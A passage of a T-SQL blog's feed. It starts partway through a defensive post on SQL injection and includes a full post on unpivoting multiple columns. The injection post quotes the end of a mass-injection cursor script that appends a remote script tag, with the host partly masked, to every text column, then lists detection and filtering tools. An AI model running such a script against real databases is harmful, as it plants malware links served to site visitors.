style="color:#434343"&gt;@C&lt;/span&gt;&lt;span style="color:gray"&gt;+&lt;/span&gt;&lt;span style="color:red"&gt;']=rtrim(convert(varchar,['&lt;/span&gt;&lt;span style="color:gray"&gt;+&lt;/span&gt;&lt;span style="color:#434343"&gt;@C&lt;/span&gt;&lt;span style="color:gray"&gt;+&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:red"&gt;']))+''&amp;lt;script&amp;nbsp;src=http://www.211796*.net/f****p.js&amp;gt;&amp;lt;/script&amp;gt;'''&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;FETCH&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;NEXT&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Table_Cursor&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;INTO&amp;nbsp;&lt;/span&gt;&lt;span style="color:#434343"&gt;@T&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:#434343"&gt;@C&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;END&amp;nbsp;&lt;br /&gt;&lt;br&gt;CLOSE&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Table_Cursor&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;DEALLOCATE&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Table_Cursor&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;In short, the script loops though all tables in the database and looks for string columns, and then appends the HTML or JavaScript code.&lt;br /&gt;&lt;br /&gt;One very unpleasant effect of this attack is that normally pages with such content are treated by major search engines as treats, and are very likely to me considered malicious and removed from indexes.&lt;br /&gt;&lt;br /&gt;The same techniques described earlier can be used to prevent secondary SQL injection attacks.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Tools&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Here are some tools that can be used to help with SQL Injection attacks:&lt;br /&gt;&lt;br /&gt;- Microsoft Source Code Analyzer for SQL Injection &lt;br /&gt;New static analysis tool that identifies SQL injection vulnerabilities in ASP source code and suggests fixes.  Enables customers to address the vulnerability at the source. &lt;br /&gt;&lt;a href='http://support.microsoft.com/kb/954476' target='_blank'&gt;http://support.microsoft.com/kb/954476&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;- URLScan 3.0 &lt;br /&gt;Updated version of the IIS tool that acts as a site filter by blocking specific HTTP requests.  Can be used to block malicious requests used in this attack. &lt;br /&gt;&lt;a href='http://learn.iis.net/page.aspx/473/using-urlscan' target='_blank'&gt;http://learn.iis.net/page.aspx/473/using-urlscan&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;- Scrawlr &lt;br /&gt;New scanning tool from Hewlett Packard that scans websites looking for SQL injection vulnerabilities in URL parameters. &lt;a href='http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/24/finding-sql-injection-with-scrawlr.aspx' target='_blank'&gt;http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/24/finding-sql-injection-with-scrawlr.aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;- SQLInjectionFinder &lt;br /&gt;Tool to help determine .asp pages targeted by recent SQL Injection attacks. &lt;br /&gt;&lt;a href='http://www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=WSUS&amp;ReleaseId=13436' target='_blank'&gt;http://www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=WSUS&amp;ReleaseId=13436&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-8203270300815970772?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/8203270300815970772/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=8203270300815970772' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/8203270300815970772'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/8203270300815970772'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2009/03/sql-injection.html' title='SQL Injection'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-726715800938783865</id><published>2009-02-28T17:00:00.002-05:00</published><updated>2009-03-12T17:11:23.907-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='unpivot'/><category scheme='http://www.blogger.com/atom/ns#' term='t-sql programming'/><title type='text'>Unpivoting Multiple Columns</title><content type='html'>Unpivoting is the process of normalizing data. In earlier &lt;a href='http://pratchev.blogspot.com/2007/11/unpivoting-data.html' target='_blank'&gt;post&lt;/a&gt; I discussed unpivoting a single column. This demonstration is to show how to unpivot multiple columns.&lt;br /&gt;&lt;br /&gt;The task is to normalize the following denormalized data, which represents product sales volumes by quarter:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:black"&gt;product_nbr&amp;nbsp;qtr1&amp;nbsp;&amp;nbsp;&amp;nbsp;sales_qtr1&amp;nbsp;&amp;nbsp;qtr2&amp;nbsp;&amp;nbsp;&amp;nbsp;sales_qtr2&amp;nbsp;&amp;nbsp;qtr3&amp;nbsp;&amp;nbsp;&amp;nbsp;sales_qtr3&amp;nbsp;&amp;nbsp;qtr4&amp;nbsp;&amp;nbsp;&amp;nbsp;sales_qtr4&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;-----------&amp;nbsp;------&amp;nbsp;-----------&amp;nbsp;------&amp;nbsp;-----------&amp;nbsp;------&amp;nbsp;-----------&amp;nbsp;------&amp;nbsp;-----------&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q1&amp;nbsp;100&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q2&amp;nbsp;20&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q3&amp;nbsp;15&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q4&amp;nbsp;10&lt;br /&gt;&lt;br&gt;2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q1&amp;nbsp;80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q2&amp;nbsp;15&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q3&amp;nbsp;20&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q4&amp;nbsp;10&lt;br /&gt;&lt;br&gt;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q1&amp;nbsp;70&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q2&amp;nbsp;5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q3&amp;nbsp;10&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q4&amp;nbsp;15&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;Normalized data set should look like this:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:black"&gt;product_nbr&amp;nbsp;qtr&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sales&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;-----------&amp;nbsp;------&amp;nbsp;-----------&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q1&amp;nbsp;100&lt;br /&gt;&lt;br&gt;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q2&amp;nbsp;20&lt;br /&gt;&lt;br&gt;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q3&amp;nbsp;15&lt;br /&gt;&lt;br&gt;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q4&amp;nbsp;10&lt;br /&gt;&lt;br&gt;2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q1&amp;nbsp;80&lt;br /&gt;&lt;br&gt;2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q2&amp;nbsp;15&lt;br /&gt;&lt;br&gt;2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q3&amp;nbsp;20&lt;br /&gt;&lt;br&gt;2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q4&amp;nbsp;10&lt;br /&gt;&lt;br&gt;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q1&amp;nbsp;70&lt;br /&gt;&lt;br&gt;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q2&amp;nbsp;5&lt;br /&gt;&lt;br&gt;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q3&amp;nbsp;10&lt;br /&gt;&lt;br&gt;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2008Q4&amp;nbsp;15&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;The first method uses CROSS JOIN with table with numbers (needs one number for each quarter) and CASE expressions to select the appropriate value (quarter or sales volume) for each quarter.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:blue"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;product_nbr&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;CASE&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;n&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;WHEN&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;1&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;THEN&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;qtr1&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;WHEN&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;2&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;THEN&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;qtr2&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;WHEN&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;3&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;THEN&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;qtr3&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;WHEN&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;4&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;THEN&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;qtr4&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;END&amp;nbsp;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;qtr&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;CASE&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;n&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;WHEN&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;1&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;THEN&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;sales_qtr1&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;WHEN&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;2&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;THEN&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;sales_qtr2&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;WHEN&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;3&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;THEN&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;sales_qtr3&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;WHEN&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;4&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;THEN&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;sales_qtr4&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;END&amp;nbsp;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;sales&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;QuarterlySales&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;S&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:gray"&gt;CROSS&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;JOIN&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;1&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;UNION&amp;nbsp;&lt;br /&gt;&lt;br&gt;&amp;nbsp;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;2&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;UNION&lt;br /&gt;&lt;br&gt;&amp;nbsp;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;3&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;UNION&lt;br /&gt;&lt;br&gt;&amp;nbsp;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;4&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Nums&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;n&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;Alsmost seems natural that we should be able to do the same much easier using the UNPIVOT operator (introduced in SQL Server 2005). However, one of the limitations of the UNPIVOT operator is that it works only with a single column. But because SQL Server allows multiple table operators in the FROM clause, we can use two UNPIVOT operators. The catch is that the second UNPIVOT operator applies to the virtual table results from the first unpivot operator. That requires using a little trick to extract and match the quarter from the results of each UNPIVOT operator in order to produce the final result. Here is the query to unpivot using the UNPIVOT operator.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:blue"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;product_nbr&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;qtr&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;sales&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM&amp;nbsp;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;product_nbr&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;qtr1&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;sales_qtr1&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;qtr2&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;sales_qtr2&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;qtr3&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;sales_qtr3&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;qtr4&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;sales_qtr4&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;QuarterlySales&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;S&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:gray"&gt;UNPIVOT&lt;/span&gt;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;qtr&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;FOR&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;qtrx&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;IN&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;qtr1&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;qtr2&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;qtr3&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;qtr4&lt;/span&gt;&lt;span style="color:gray"&gt;))&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;U1&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:gray"&gt;UNPIVOT&lt;/span&gt;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;sales&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;FOR&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;sales_qtrx&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;IN&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;sales_qtr1&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;sales_qtr2&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;sales_qtr3&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;sales_qtr4&lt;/span&gt;&lt;span style="color:gray"&gt;))&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;U2&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;WHERE&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;RIGHT&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;sales_qtrx&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;1&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;RIGHT&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;qtrx&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;1&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-726715800938783865?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/726715800938783865/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=726715800938783865' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/726715800938783865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/726715800938783865'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2009/02/unpivoting-multiple-columns.html' title='Unpivoting Multiple Columns'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-6627381393466167442</id><published>2009-01-31T19:00:00.004-05:00</published><updated>2009-02-02T19:22:04.079-05:00</updated><category 